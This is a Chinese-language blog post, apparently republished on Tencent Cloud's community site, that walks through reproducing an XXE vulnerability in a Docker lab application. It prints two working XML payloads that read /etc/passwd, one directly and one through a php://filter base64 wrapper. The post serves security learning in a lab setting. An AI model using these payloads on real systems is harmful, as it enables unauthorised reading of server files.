首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >web漏洞|XXE漏洞复现

web漏洞|XXE漏洞复现

作者头像
谢公子
发布于 2022-01-13 10:23:23
发布于 2022-01-13 10:23:23
1.9K0
举报
文章被收录于专栏:谢公子学安全谢公子学安全

docker搜索xxe相关镜像包,然后pull下来,我这里pull的是:rrodrigo/xxelab 镜像包。

启动docker环境,映射到VPS的32776端口

访问

输入注册数据,抓包重放。发现提交数据包采用 xml 格式传递,且邮箱有返回。

这里我们引用外部DTD实体,并且将email的值修改为引用外部实体的值 &file; 因为,返回包会返回email的值,所以返回包会读取我们引用的 /etc/passwd 的值返回给我们,造成了任意文件读取。

这里指定文件/etc/passwd,用不用file协议均可。

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
        <!ENTITY file SYSTEM "/etc/passwd">
]>
<root><name>111</name><tel>222</tel><email>&file;</email><password>333</password></root>
代码语言:javascript
复制

利用 base64 编码进行 xxe,防止有返回包验证。返回base64数据包,base64解码之。

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
        <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>111</name><tel>222</tel><email>&file;</email><password>333</password></root>
代码语言:javascript
复制

相关文章:XML和JSON数据格式

XXE(XML外部实体注入)

来源:谢公子的博客

责编:Zuo

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-06,如有侵权请联系 cloudcommunity@tencent.com 删除
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档